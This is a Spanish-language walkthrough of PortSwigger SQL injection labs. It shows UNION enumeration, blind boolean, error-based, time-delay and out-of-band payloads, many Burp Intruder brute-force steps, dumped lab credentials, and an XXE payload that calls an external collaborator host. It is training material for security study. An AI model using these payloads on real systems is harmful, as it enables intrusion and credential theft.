SELECT * FROM products WHERE category = 'Gifts'

En una prueba preliminar, observamos que hay dos columnas, donde la segunda permite texto:
http://shop.com/filter?category=Gifts' union select NULL,'pruEb4'-- -

Siguiente paso para visualizar las bases de datos existentes:
http://shop.com/filter?category=Gifts' union select NULL,schema_name from information_schema.schemata-- -
information_schema
public
pg_catalog


A por las tablas existentes en la base de datos "public":
http://shop.com/filter?category=Gifts' union select NULL,table_name from information_schema.tables where table_schema='public'-- -
users
products


A por las columnas existentes en la tabla "users":
http://shop.com/filter?category=Gifts' union select NULL,column_name from information_schema.columns where table_schema='public' and table_name='users'-- -
email
password
username


Ahora, para obtener por ejemplos los "username":
http://shop.com/filter?category=Gifts' union select NULL,username from users-- -
administrator
carlos
wiener


Si intentamos sacar los "username" y las "password" de una tirada, da error ya que el primer campo no permite texto:
http://shop.com/filter?category=Gifts' union select username,password from users-- -
Internal Server Error

Por tanto, para sacar los "username" y las "password" en el mismo campo, se tira de SINTAXIS ESPECIAL:
http://shop.com/filter?category=Gifts' union select NULL,username||':'||password from users-- -
administrator:r68wzc5r9yfqurd3eddi
carlos
:pvepb77k772saorhk0gf
wiener
:ur5uky73k73jmy667gie


También se puede sacar tirando de CONCAT:
http://shop.com/filter?category=Gifts' union select NULL,concat(username,':',password) from users-- -
administrator:r68wzc5r9yfqurd3eddi
carlos:pvepb77k772saorhk0gf
wiener:ur5uky73k73jmy667gie

 

POR LO TANTO, LAS CREDENCIALES PARA LOGIN SON:

USERNAME: administrator

PASSWORD: r68wzc5r9yfqurd3eddi
 

multi-valores una columna

💉 ENUMERAR BASE DE DATOS ORACLE

LABORATORIO DE PORTSWIGGER:
🌐https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-oracle

URL VULNERABLE:
http://shop.com/filter?category=Product

Se debería poder realizar un ataque de tipo UNION en la categoría "product".

QUERY POR DEFECTO:
SELECT * FROM products WHERE category = 'Gifts'

Probando nos encontramos que:
http://shop.com/filter?category=Gifts' union select NULL,NULL-- -
Internal Server Error

En este cao, porque sabemos que la base de datos es de ORACLE, y por tanto se debe formular de otras manera.
En este caso, debemos recordar que siempre se debe especificar una
TABLA:
http://shop.com/filter?category=Gifts' union select NULL,NULL from dual-- -

Por tanto, para proceder con:
http://shop.com/filter?category=Gifts' union select NULL,banner from v$version-- -

CORE 11.2.0.2.0 Production
NLSRTL Version 11.2.0.2.0 - Production
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
PL/SQL Release 11.2.0.2.0 - Production
TNS for Linux: Version 11.2.0.2.0 - Production

Obteniendo la información sobre la base de datos y su versión, completando el laboratorio.

Otras pruebas (sale un usuario):
http://shop.com/filter?category=Gifts' union select NULL,user from v$version-- -

PETER

Otras pruebas (sale un usuario)También así:

http://shop.com/filter?category=Gifts' union select NULL,user from all_users-- -

PETER

enumerar ORACLE

💉 ENUMERAR BASE DE DATOS MYSQL y MICROSOFT

LABORATORIO DE PORTSWIGGER:
🌐https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-mysql-microsoft

URL VULNERABLE:
http://shop.com/filter?category=Product

Como en los anteriores, este laboratorio contiene una vulnerabilidad en el filtro "category". Usaremos un ataque tipo UNION, con la diferencia de hacerlo en un tipo de base de datos MySQL/Microsoft. El objetivo es sacar la versión de la base de datos.

QUERY POR DEFECTO:
SELECT * FROM products WHERE category = 'Gifts'

Probando la entrada habitual de comprobación:
http://shop.com/filter?category=Gifts' union select NULL,NULL-- -
(Y no tira error, pero no observamos nada en la tabla)
 

Metiendo una Query String para obtener la versión de la BD, tipo MariaDB:

http://shop.com/filter?category=Gifts' union select NULL,version()-- -

8.0.39-0ubuntu0.20.04.1

Metiendo una Query String para obtener la versión de la BD, tipo MySQL:

http://shop.com/filter?category=Gifts' union select NULL,@@version-- -

8.0.39-0ubuntu0.20.04.1

En este caso funcionan ambas.

enum mySql Microsoft

💉 ENUMERAR CONTENIDO EN BASE DE DATOS NO-ORACLE

LABORATORIO DE PORTSWIGGER:
🌐https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle

URL VULNERABLE:
http://shop.com/filter?category=Product

Como en los anteriores, este laboratorio contiene una vulnerabilidad en el filtro "category". Usaremos un ataque tipo UNION para sacar información de otras tablas. La aplicación tiene una función de LOGIN, y la BD contiene una tabla con "usernames" y "passwords". Hay que detectar el nombre de la tabla y las columnas que contiene, para después sacar los nombres de usuario y contraseñas. El usuario con privilegios es "administrator".

QUERY POR DEFECTO:
SELECT * FROM products WHERE category = 'Lifestyle'

Probando la entrada habitual de comprobación:
http://shop.com/filter?category=Lifestyle' union select NULL,NULL-- -
(No da error pero no se obtiene ninguna entrada)

Probando 3 columnas:

http://shop.com/filter?category=Lifestyle' union select NULL,NULL,NULL-- -

Internal Server Error (por lo tanto hay solo dos columnas en la tabla)

Habrá que hacer una prueba de versión para saber a qué nos enfrentamos (BD tipo MySQL Windows):

http://shop.com/filter?category=Lifestyle' union select NULL,@@version-- -

Internal Server Error

Otra prueba (BD PostgreSQL / MariaDB):

http://shop.com/filter?category=Lifestyle' union select NULL,version()-- -

PostgreSQL 12.20 (Ubuntu 12.20-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit

Bingo. Sabiendo que se trata de PostgreSQL, el siguiente paso será:

http://shop.com/filter?category=Lifestyle' union select NULL,schema_name from information_schema.schemata-- -

information_schema

public

pg_catalog

Sabiendo que la BD se llama "public", vamos a listar columnas:

http://shop.com/filter?category=Lifestyle' union select NULL,table_name from information_schema.tables where table_schema='public'-- -

users_varctx

products

Sabiendo que la tabla de interés se llama "users_varctx", vamos a listar columnas:

http://shop.com/filter?category=Lifestyle' union select NULL,column_name from information_schema.columns where table_schema='public' and table_name='users_varctx'-- -

email

password_uclpvb

username_dxdsos

A por la data de "username_dxdsos":

http://shop.com/filter?category=Lifestyle' union select NULL,username_dxdsos from users_varctx-- -

administrator

carlos

wiener

A por la data de "username_dxdsos y "password_uclpvb" a la vez:

http://shop.com/filter?category=Lifestyle' union select NULL,concat(username_dxdsos,':',password_uclpvb) from users_varctx-- -

administrator:txrzixb8soe5rozumr2v

carlos:2mbmoqn3lwncppy33wvw

wiener:v730duhs835vukfg2mbf

POR LO TANTO, LAS CREDENCIALES PARA LOGIN SON:

USERNAME: administrator

PASSWORD: txrzixb8soe5rozumr2v

enum data no-Oracle
enum data Oracle

💉 ENUMERAR CONTENIDO EN BASE DE DATOS ORACLE

LABORATORIO DE PORTSWIGGER:
🌐https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-mysql-microsoft

URL VULNERABLE:
http://shop.com/filter?category=Product

Como en el anterior laboratorio, este contiene una vulnerabilidad en el filtro "category". Usaremos un ataque tipo UNION para sacar información de otras tablas. La aplicación tiene una función de LOGIN, y la BD contiene una tabla con "usernames" y "passwords". Hay que detectar el nombre de la tabla y las columnas que contiene, para después sacar los nombres de usuario y contraseñas. El usuario con privilegios es "administrator".

QUERY POR DEFECTO:
SELECT * FROM products WHERE category = 'Gifts'

Probando la entrada habitual de comprobación:
http://shop.com/filter?category=Gifts' union select NULL,NULL-- -
Internal Server Error (Podría ser una BD Oracle?)
 

Para comprobar la duda anterior:

http://shop.com/filter?category=Gifts' union select NULL,NULL from dual-- -

✔️

Probando para confirmar que la BD es Oracle:

http://shop.com/filter?category=Gifts' union select NULL,banner from v$version-- -

CORE 11.2.0.2.0 Production
NLSRTL Version 11.2.0.2.0 - Production
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
PL/SQL Release 11.2.0.2.0 - Production
TNS for Linux: Version 11.2.0.2.0 - Production

Haciendo pruebas de Oracle (ver TODAS las tablas existentes):

http://shop.com/filter?category=Gifts' union select NULL,table_name from all_tables-- -

(Dumpea TODAS las tablas de TODAS las bases de datos existentes)

Haciendo pruebas de Oracle (ver PROPIETARIOS de las tablas):

http://shop.com/filter?category=Gifts' union select NULL,owner from all_tables-- -

APEX_040000
CTXSYS
MDSYS
PETER
SYS
SYSTEM
XDB

Visto lo anterior, existe la posibilidad de filtrar por propietario de tablas:

http://shop.com/filter?category=Gifts' union select NULL,table_name from all_tables where owner =  'peter'-- -

(No sale nada porque, OJO, es "case sensitive")

Con el nombre en mayúsculas:

http://shop.com/filter?category=Gifts' union select NULL,table_name from all_tables where owner =  'PETER'-- -

PRODUCTS

USERS_XGLFEA

Para dumpear "users_xglfea":

http://shop.com/filter?category=Gifts' union select NULL,column_name from all_tab_columns where table_name = 'USERS_XGLFEA'-- -

EMAIL
PASSWORD_ITCZVH
USERNAME_MVIPAD

Para dumpear usuarios y contraseñas (columnas juntas):

http://shop.com/filter?category=Gifts' union select NULL,USERNAME_MVIPAD||':'||PASSWORD_ITCZVH from USERS_XGLFEA-- -

administrator:wxfj9lkdnmtc4clza7lj
carlos
:qdfqiwz3tkgnwyvvfuvb
wiener
:rxeacbmij9es7wf24htq

POR LO TANTO, LAS CREDENCIALES PARA LOGIN SON:

USERNAME: administrator

PASSWORD: wxfj9lkdnmtc4clza7lj

🅱️ SQL INJECTION CIEGA CONDICIONAL

LABORATORIO DE PORTSWIGGER:
🌐https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses

La aplicación en este caso utiliza una "tracking cookie" para analíticas, ejecutando una "query" que contiene el valor de dicha cookie. No retornan resultados ni mensaje de error (por eso "a ciegas"), no obstante la aplicación retorna un mensaje de "Welcome back" si la "query" acepta filas. El objetivo pasa por encontrar la contraseña del usuario "administrator". 

Se sabe que hay una tabla "users" con la columnas "username" y "password"

QUERY POR DEFECTO:
SELECT * FROM products WHERE category = 'Lifestyle'

Rápida comprobación de vulnerabilidad:
http://shop.com/filter?category=Lifestyle' or 1=1-- -
❓(No da valores en la respuesta)

Rápida comprobación de posibles columnas:

http://shop.com/filter?category=Lifestyle' union select NULL,NULL-- -

❓(No da valores en la respuesta)

Rápida comprobación de versión:

http://shop.com/filter?category=Lifestyle' union select NULL,version()-- -

❓(No da valores en la respuesta)

Ha llegado la hora de tirar de BURPSUITE para trackear cookies.

Para el caso, interceptaremos la "request" con Burpsuite y la pasaremos al "repeater" con la "response" en modo "render", y quizá visualizar cambios mediante la modificación de la "TrackingID". Se adjuntan capturas directamente:

burpf1.png


Como se ve arriba, al no poder observar cambios en la web (a ciegas) no queda otra que tirar de código HTTP y modificar la "request" para observar la reacción en la "response". Como primer paso, metiendo un "true statement" y observando que junto a "home" y "my account" hay un mensaje que dice "welcome back!":
 
Cookie: TrackingId=KrfJsewlvjKWsFix;

Primera modificación:
Cookie: TrackingId=KrfJsewlvjKWsFix' and 1=1-- -;
✔️(Se observa un texto que reza "welcome back!" cuando la "request" es CORRECTA porque contiene un "true statement")

¿Qué pasa si metemos un "false statement"? en este caso:
Cookie: TrackingId=KrfJsewlvjKWsFix' and 2=1-- -;

burpf2.png


En lo que debería ser un error, vemos que en el "render" de la página, desapareció el texto "welcome back", lo que podría ser un indicador de respuestas incorrectas.
 
Cabe mencionar que a nivel de sintaxis también vale introducirlo así, sin la necesidad del indicador de "comentario":
Cookie: TrackingId=KrfJsewlvjKWsFix' and '2'='1;

Veamos otro tipo de prueba:
Cookie: TrackingId=KrfJsewlvjKWsFix' and (SELECT 'a')='a;
✔️(Aparece el mensaje "welcome back", lo que nos indica que la inyección es exitosa. A es igual a A es un "true statement")

Indicamos que seleccione "a" de la tabla "users", limitando el resultado al primer caracter de una palabra:
Cookie: TrackingId=KrfJsewlvjKWsFix' and (SELECT 'a' FROM users LIMIT 1)='a;
✔️(Aparece el mensaje "welcome back!", lo que nos indica que la inyección es exitosa. Esto nos confirma que es verdadero que haya un usuario de la tabla "users" cuyo primer caracter sea una "a", se entiende que "administrator")

Se modifica la cadena para comprobar si en efecto, hay un usuario llamado "administrator" en la tabla "users", en la columna "username":
Cookie: TrackingId=KrfJsewlvjKWsFix' and (SELECT 'a' FROM users WHERE username='administrator')='a;
✔️(Aparece el mensaje "welcome back!", lo que nos indica que la inyección es exitosa)

Ampliamos la cadena añadiendo la condiciónde que la contraseña en la tabla "password" sea mayor a 1 caracter:
Cookie: TrackingId=KrfJsewlvjKWsFix' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a;
✔️(Aparece el mensaje "welcome back!", lo que nos indica que la inyección es exitosa. La contraseña de administrator tiene más de 1 caracter)

Probar si la contraseña tiene 20 caracteres o más:
Cookie: TrackingId=KrfJsewlvjKWsFix' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>20)='a;
❌(No vemos el mensaje "welcome back!", por lo que, no es verdadera la condición)

Probar si la contraseña tiene 19 caracteres o más:
Cookie: TrackingId=KrfJsewlvjKWsFix' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>19)='a;
✔️(Ahora vemos el mensaje "welcome back!", por lo que, es verdadera la condición. Ya sabemos la longitud de la contraseña)

La siguiente cadena, vendría a crear la siguiente condición -> "el primer caracter del campo de la columna "password" correspondiente al campo "administrator" de la tabla contigua "username", ambos en la tabla "users", es igual a "a":
Cookie: TrackingId=KrfJsewlvjKWsFix' and (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a;
❌(No vemos el mensaje "welcome back!", por lo que, no es verdadera la condición. El primer caracter de la contraseña NO es "a")
 

burpf3.png


NOTA: La Cookie TrackingId es diferente en la captura superior porque corresponde a un intento posterior, habiendo reiniciado la conexión y por lo tanto, generándose otra TrackingID.

Llegados a este punto, el siguiente paso requiere un
ataque de diccionario mediante el módulo "intruder", explicado aquí.
Enviamos el "request" al módulo "intruder" y allí configuramos un ataque de tipo "
sniper" añadiendo una posición para el payload en el valor del final de la cadena:

Cookie: TrackingId=KrfJsewlvjKWsFix' and (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§;

burpf4.png


En la siguiente captura, configuramos un ataque de diccionario o "payload" de tipo "sniper", seleccionando "simple list" y "load" para cargar un archivo o wordlist. Para este caso necesitamos un archivo con las letras de la "a" a la "z" y los números del "0" al "9". Se crea un archivo con los valores requeridos, de nombre "abd.txt", que se carga en Burpsuite.

burpf5.png


__________________________________________________________________________________________________________
Contenido de "abd.txt" para copiar:

a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
0
1
2
3
4
5
6
7
8
9

__________________________________________________________________________________________________________

Con todo configurado, clicamos al botón "start attack" y esperamos a que termine.
 

burpf6.png


En la captura anterior vemos que durante el ataque se probaron todos los valores de "abd.txt", obteniendo en todo caso un Código de Estado 200 (exitoso), pero diferente medida (5428) en uno de los casos, correspondiente al valor "0". Por lo que se puede saber que el primer caracter de la contraseña es un cero.

Ahora, todo sería ir repitiendo el proceso hasta obtener los 19 caracteres de la contraseña, probando uno por uno modificando el valor numérico de cada posición de la palabra correspondiente a la contraseña, como se ve a continuación:

Cookie: TrackingId=KrfJsewlvjKWsFix' and (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a;

Se podría así, o se puede configurar un ataque automatizado en dos campos, de tipo "cluster bomb", para agilizar el proceso. Para ello sería necesario un archivo "txt" con los números del "1" al "19". Primero habría que marcar las dos posiciones a atacar, entre símbolos "§":

Cookie: TrackingId=KrfJsewlvjKWsFix' and (SELECT SUBSTRING(password,§1§,1) FROM users WHERE username='administrator')='§a§;

Después, configurar el ataque de tipo "cluster bomb", poniendo al "payload set 1" una wordlist de números "nums.txt", y al "payload set 2" la wordlist "abd.txt".

"
Start attack" y ...
 

burpf7.png


El ataque empieza a probar combinaciones, como vemos en el cuadrado rojo, primero probando con la letra "a" en las 19 posiciones de la contraseña, y así sucesivamente usando la wordlist introducida "abd.txt". Como vemos abajo a la izquierda, el ataque consta de 684 combinaciones, lo que, con la versión gratuita de Burpsuite, puede tardar horas (ya de por si la versión gratuita tiene una velocidad lenta de ataque, y a partir de un cierto número de intentos se ralentiza aún más).
 
Por lo tanto, en este caso será más rápido realizar el ataque de forma manual modificando los valores pertinentes.
Se van anotando los valores en cada posición según se realizan los ataques:

 

__________________________________________________________________________________________________________


   Valores        0  y   u  e  1  f  8  0  c    a    d    m    x     j     0      o    8     i      o
Posiciones     1  2  3  4  5  6  7  8  9 10  11  12  13  14  15  16  17  18  19

OBTENIENDO QUE LAS CREDENCIALES PARA LOGIN SON:

USERNAME: administrator

PASSWORD: 0yue1f80cadmxj0o8io

__________________________________________________________________________________________________________
 

BONUS - Antes de ir a la caja de login, podemos comprobar si la contraseña es "true" en el "repeater" así:

Cookie: TrackingId=KrfJsewlvjKWsFix' and (SELECT password FROM users WHERE username='administrator')='0yue1f80cadmxj0o8io;

(Aparece el mensaje "welcome back!", por lo que la contraseña obtenida es CORRECTA)

Blind conditional resp
Blind conditional err

🅱️ SQL INJECTION CIEGA BASADA EN ERRORES

LABORAsTORIO DE PORTSWIGGER:
🌐https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors
 
La aplicación en este caso utiliza una "tracking cookie" para analíticas, ejecutando una "query" que contiene el valor de dicha cookie. No retornan resultados pero SI un mensaje de error. El objetivo pasa por encontrar la contraseña del usuario "administrator". Se sabe que hay una tabla "users" con la columnas "username" y "password".

Primera prueba metiendo una comilla al final de la "TrackingID" para ver como responde el servidor (BurpSuite):
Cookie: TrackingId=cYXwyTPnxW9HaxCK';
Internal Server Error
 

burp11.png


Por tanto no dará error si metemos un "true statement":
Cookie: TrackingId=KrfJsewlvjKWsFix' and 1=1-- -;
✔️


Sin embargo en este caso no funciona:
Cookie: TrackingId=KrfJsewlvjKWsFix' and (select 'a')='a;
❌ Internal Server Error

Vuelve a ser exitoso cerrando la comilla extra:
Cookie: TrackingId=KrfJsewlvjKWsFix'';
✔️


Tratando de inyectar código sin contenido pero con una sintaxis correcta, debería, pero no da una respuesta exitosa:
Cookie: TrackingId=KrfJsewlvjKWsFix'||(select '')||';
❌ Internal Server Error

Lo mismo pero interpretando que la BD es Oracle:
Cookie: TrackingId=KrfJsewlvjKWsFix'||(select '' from dual)||';
✔️


Otra prueba exitosa:
Cookie: TrackingId=KrfJsewlvjKWsFix'||(select '' from users where rownum=1)||';
✔️


Ahora se trata de invertir el método, y confirmar la query con un error:
Cookie: TrackingId=KrfJsewlvjKWsFix'||(select case when (1=1) then to_char(1/0) else '' end from users where username='administrator')||';
❌ Internal Server Error

__________________________________________________________________________________________________________
EXPLICACIÓN DE LA INYECCIÓN:
Cookie:                                                      (Indica en la petición HTTP que el valor a continuación es una Cookie)
TrackingId=KrfJsewlvjKWsFix            (El valor que debería identificar a un único usuario o sesión)
'||(select ... )||'                                         (El contenedor de la inyección)
'                                                                   (La primera comilla simple cierra deliberadamente la consulta original, agregando un nuevo bloque)
||                                                                 (Es el operador de la concatenación en SQL Oracle, que junta cadenas)

select ... from users where username='administrator'
(Jerárquicamente, donde la inyección se empieza a leer, intentando coger información de la tabla "users", donde el "username" es "administrator".

case when (1=1)                                    (Expresión booleana. Como 1=1 es siempre verdadero, el bloque del "then" será ejecutado)
then to_char(1/0)                                 (Se fuerza una operación matemática inválida, dividiendo 1 entre 0, que genera un error)
to_char(...)                                              (Convierte el resultado de la operación en una cadena de caracteres)
else ''                                                        (Si 1=1 fuera falso (cosa que no ocurre) simplemente devolvería una cadena vacía)

¿QUÉ SE PRETENDE?
Si la base de datos Oracle del laboratorio lanza un error debido a la división por cero (error per se) puede proporcionar información adicional sobre la estructura de la base de datos o revelar mensajes de error detallados. Esto es lo que se denomina un ataque SQL basado en errores, ya que son estos errores los que revelan información sobre el código inyectado.

__________________________________________________________________________________________________________

La inyección anterior nos confirma que el usuario "administrator" existe. Puesto que poniendo otra cosa, no da error:

Cookie: TrackingId=KrfJsewlvjKWsFix'||(select case when (1=1) then to_char(1/0) else '' end from users where username='administrazorrrrrr')||';
✔️

Seguimos, tratando de adivinar la longitud de la contraseña, probando si es igual o mayor a 19 caracteres:
Cookie: TrackingId=KrfJsewlvjKWsFix'||(select case when (1=1) then to_char(1/0) else '' end from users where username='administrator' and lenght(password)>=19)||';
(da error, por lo tanto la contraseña tiene 19 o más caracteres)

Seguimos, tratando de adivinar la longitud de la contraseña, probando si es igual o mayor a 20 caracteres:
Cookie: TrackingId=KrfJsewlvjKWsFix'||(select case when (1=1) then to_char(1/0) else '' end from users where username='administrator' and lenght(password)>=20)||';
(da error, por lo tanto la contraseña tiene 20 o más caracteres)

Seguimos, tratando de adivinar la longitud de la contraseña, probando si es igual o mayor a 21 caracteres:
Cookie: TrackingId=KrfJsewlvjKWsFix'||(select case when (1=1) then to_char(1/0) else '' end from users where username='administrator' and lenght(password)>=21)||';
✔️
(no da error, por lo tanto la contraseña NO tiene 21 o más caracteres)

Ya sabemos que la contraseña tiene de hecho, 20 caracteres. Que podemos confirmar así, sin el ">":
Cookie: TrackingId=KrfJsewlvjKWsFix'||(select case when (1=1) then to_char(1/0) else '' end from users where username='administrator' and lenght(password)=20)||';
(da error, por lo tanto es correcto)

Si por el contrario preguntamos si la contraseña es igual a 99 caracteres:
Cookie: TrackingId=KrfJsewlvjKWsFix'||(select case when (1=1) then to_char(1/0) else '' end from users where username='administrator' and lenght(password)=99)||';
✔️(no da error, por tanto es falso)
 
Intentando crear la query que asegure que el primer caracter del usuario "administrator" es igual a "a":
Cookie: TrackingId=KrfJsewlvjKWsFix'||(select case when substr(username,1,1)='a' then to_char(1/0) else '' end from users where username='administrator')||';
(da error, por lo tanto es correcto que la primera letra del usuario "administrator" es igual a "a")

Misma lógica para sacar el primer caracter de la contraseña de administrator:
Cookie: TrackingId=KrfJsewlvjKWsFix'||(select case when substr(password,1,1)='a' then to_char(1/0) else '' end from users where username='administrator')||';
✔️(no da error, por lo tanto no es correcto que el primer caracter de la contraseña es igual a "a")

Llegados a este punto, toca pasar a realizar un ataque de tipo sniper desde Burpsuite con el módulo "intruder", metiendo el valor a fuzzear entre §§.

Cookie: TrackingId=KrfJsewlvjKWsFix'||(select case when substr(password,1,1)='§a§' then to_char(1/0) else '' end from users where username='administrator')||';

(Ver laboratorio anterior)
Se carga el payload con el archivo creado en el laboratorio anterior (abd.txt) y pulsamos "Start attack":
 

burp12.png


Obtenemos con una longitud de respuesta diferente que la letra "p" coincide en ser el primer caracter de la contraseña del usuario "administrator". Ya como en el laboratorio anterior, solo queda repetir el proceso cambiando el valor numérico para la posición del caracter en la contraseña:

Cookie: TrackingId=KrfJsewlvjKWsFix'||(select case when substr(password,2,1)='§a§' then to_char(1/0) else '' end from users where username='administrator')||';
 

__________________________________________________________________________________________________________


   Valores        p  3  i    i   n  z   p  2  y   j     a     o     2    r     a     6     j      e     b    6
Posiciones     1  2  3  4  5  6  7  8  9 10  11  12  13  14  15  16  17  18  19  20

OBTENIENDO QUE LAS CREDENCIALES PARA LOGIN SON:

USERNAME: administrator

PASSWORD: p3iinzp2yjao2ra6jeb6

__________________________________________________________________________________________________________
 

🅱️ SQLI CIEGA CON DELAY

LABORATORIO DE PORTSWIGGER:
🌐https://portswigger.net/web-security/sql-injection/blind/lab-time-delays

Este laboratorio contiene una vulnerabilidad de inyección SQL ciega, a través de una "tracking cookie for analytics" que ejecuta una petición conteniendo el valor de una cookie. La web no devuelve resultados de la SQLI ni responde de forma visible, ya devuelva un error o no. Sin embargo, ya que la query se ejecuta de forma sincronizada, es posible desencadenar retrasos de tiempo condicional para extraer información.

Para resolver el laboratorio causa un retraso (delay) de
10 segundos.

Primera prueba metiendo una comilla al final de la "TrackingID" para ver como responde el servidor (BurpSuite):
Cookie: TrackingId=cYXwyTPnxW9HaxCK';
✔️ Devuelve un código 200 exitoso

Probando un "true statement":
Cookie: TrackingId=cYXwyTPnxW9HaxCK' and 1=1-- -;
✔️ Devuelve un código 200 exitoso

Probando un "false statement" no debería dar respuesta exitosa:
Cookie: TrackingId=cYXwyTPnxW9HaxCK' and 2=1-- -;
✔️ Pero la da, por lo tanto algo falla. La devolución de errores parece desactivada para prevenir inyecciones SQL

Probando a retrasar la respuesta 10 segundos, interpretando que la BD es MySQL/MariaDB:
Cookie: TrackingId=cYXwyTPnxW9HaxCK' and sleep(10)-- -;
✔️ Código 200 sin retardo

Lo anterior, interpretando que estamos ante una BD de PostgreSQL:
Cookie: TrackingId=cYXwyTPnxW9HaxCK'||pg_sleep(10)-- -;
✔️ Código 200 tras un retardo exitoso de 10 segundos
 

Blind delay
Blind delay data hack

🅱️ SQLI CIEGA CON DELAY DATA HACK

LABORATORIO DE PORTSWIGGER:
🌐https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval

Este laboratorio contiene una vulnerabilidad de inyección SQL ciega, a través de una "tracking cookie for analytics" que ejecuta una petición conteniendo el valor de una cookie. La web no devuelve resultados de la SQLI ni responde de forma visible, evitando mostrar errores. Sin embargo, ya que la query se ejecuta de forma sincronizada, es posible desencadenar retrasos de tiempo condicional para extraer información.

La base de datos contiene una tabla diferente llamada "users", con columnas "username" y "password", de donde sacar las credenciales para el usuario "administrator".

Primera prueba metiendo directamente desde el móduclo "repeater" de BurpSuite, se prueba lo aprendido en el laboratorio anterior (para venir a confirmar que la BD es de tipo PostgreSQL:
Cookie: TrackingId=IPHgfPuajEUmPylF'||pg_sleep(5)-- -;
✔️ Código 200 tras un retardo exitoso de 5 segundos

Con la información que sabemos se puede montar la siguiente query. Si el usuario de "users" "administrator" existe, la respuesta tardará 5 segundos. De lo contrario, responderá instantáneamente:
Cookie: TrackingId=IPHgfPuajEUmPylF'||(select case when (1=1) then pg_sleep(5) else pg_sleep(0) end from users where username='administrator')-- -;
✔️ Código 200 tras un retardo exitoso de 5 segundos, por lo tanto, la condición es correcta

Si por ejemplo ponemos otro nombre que no exista:
Cookie: TrackingId=IPHgfPuajEUmPylF'||(select case when (1=1) then pg_sleep(5) else pg_sleep(0) end from users where username='administrazorrrrrrr')-- -;
✔️ Código 200 sin retardo. Lo que viene a decirnos que la condición es incorrecta

De la siguiente forma, pasaremos a comprobar que la contraseña consta de 20 caracteres:
Cookie: TrackingId=IPHgfPuajEUmPylF'||(select case when (1=1) then pg_sleep(5) else pg_sleep(0) end from users where username='administrator' and length(password)>=20)-- -;
✔️ Código 200 tras un retardo exitoso de 5 segundos que nos viene a confirmar 20 el número de caracteres para la contraseña

PAsamos a la siguiente prueba para el primer caracter de "administrator":
Cookie: TrackingId=IPHgfPuajEUmPylF'||(select case when substring(username,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from users where username='administrator'-- -;
✔️ Código 200 tras un retardo exitoso de 5 segundos que confirma que "a" es la primera letra de administrator

Cambiamos "username" por "password" para setear la prueba con la contraseña:
Cookie: TrackingId=IPHgfPuajEUmPylF'||(select case when substring(password,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from users where username='administrator'-- -;
✔️ Código 200 sin retardo, por lo que la "a" no es el primer caracter de la contraseña

Toca pasar al módulo "intruder" de BurpSuite para realizar un ataque de tipo "sniper" usando la wordlist creada "abd.txt", como en los laboratorios anteriores, solo que en este caso no variará el código de estado ni la longitud de la respuesta.
En este caso notaremos la diferencia en el tiempo que tarde en resolver la respuesta (cuando haya un delay de 5 segundos) o bien donde veamos el valor más alto en la columna de "
response received":
 

aburp0.png


De media tardan al rededor de 5000ms, aunque cuidado, puede haber otros valores altos, de hasta 4000ms, pero nunca de 5000ms o superiores, en este caso.

Pues de nuevo, sucesivamente cambiando el valor numérico a 2, 3, 4...

Cookie: TrackingId=IPHgfPuajEUmPylF'||(select case when substring(password,2,1)='a' then pg_sleep(5) else pg_sleep(0) end from users where username='administrator'-- -;
 

__________________________________________________________________________________________________________


   Valores        n  k  6  q  0  a  h  e  h   3    u     p     e     c    g     i      z     5     x    v
Posiciones     1  2  3  4  5  6  7  8  9 10  11  12  13  14  15  16  17  18  19  20

OBTENIENDO QUE LAS CREDENCIALES PARA LOGIN SON:

USERNAME: administrator

PASSWORD: nk6q0aheh3upecgiz5xv

__________________________________________________________________________________________________________
 

Blind interact OOB

🅱️ SQLI CIEGA INTERACCIÓN OUT-OF-BAND (REQUIERE EXTENSIÓN DE PAGO)

LABORATORIO DE PORTSWIGGER:
🌐https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band

Este laboratorio contiene una vulnerabilidad de inyección SQL ciega, a través de una "tracking cookie for analytics" que ejecuta una petición conteniendo el valor de una cookie. La web no devuelve resultados de la SQLI ni responde de forma visible, ni muestra errores ni varía el tiempo de respuesta. Sin embargo, se podría desencadenar una Interacción out-of-band con un dominio externo.

Para resolver el laboratorio causa un "
DNS lookup" a "Burp Collaborator". Este método vendría a utilizarse como último recurso cuando los anteriores no son viables.

Habría que tirar de copia-pega del Cheatsheet:
Cookie: TrackingId=cYXwyTPnxW9HaxCK'||SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual;

El problema está en que en el parámetro de dominio, se usaría la extensión de pago de Burpsuite "Burp Collaborator" de la que no disponemos. Ésta nos facilita la dirección web de un dominio aleatorio para recibir por ahí unos parámetros DNS.

Si lo tuviéramos, el siguiente paso sería
URL-ENCODEAR la query, seleccionándola con el ratón y haciendo:
[ctrl] + [u]

Quedaría así:
Cookie: TrackingId=cYXwyTPnxW9HaxCK'||SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//my_domain/">+%25remote%3b]>'),'/l')+FROM+dual;

Se enviaría la petición desde el "repeater" y se esperaría actividad en "Burp Collaborator" con el botón "Poll now".

filter bypass xml encode

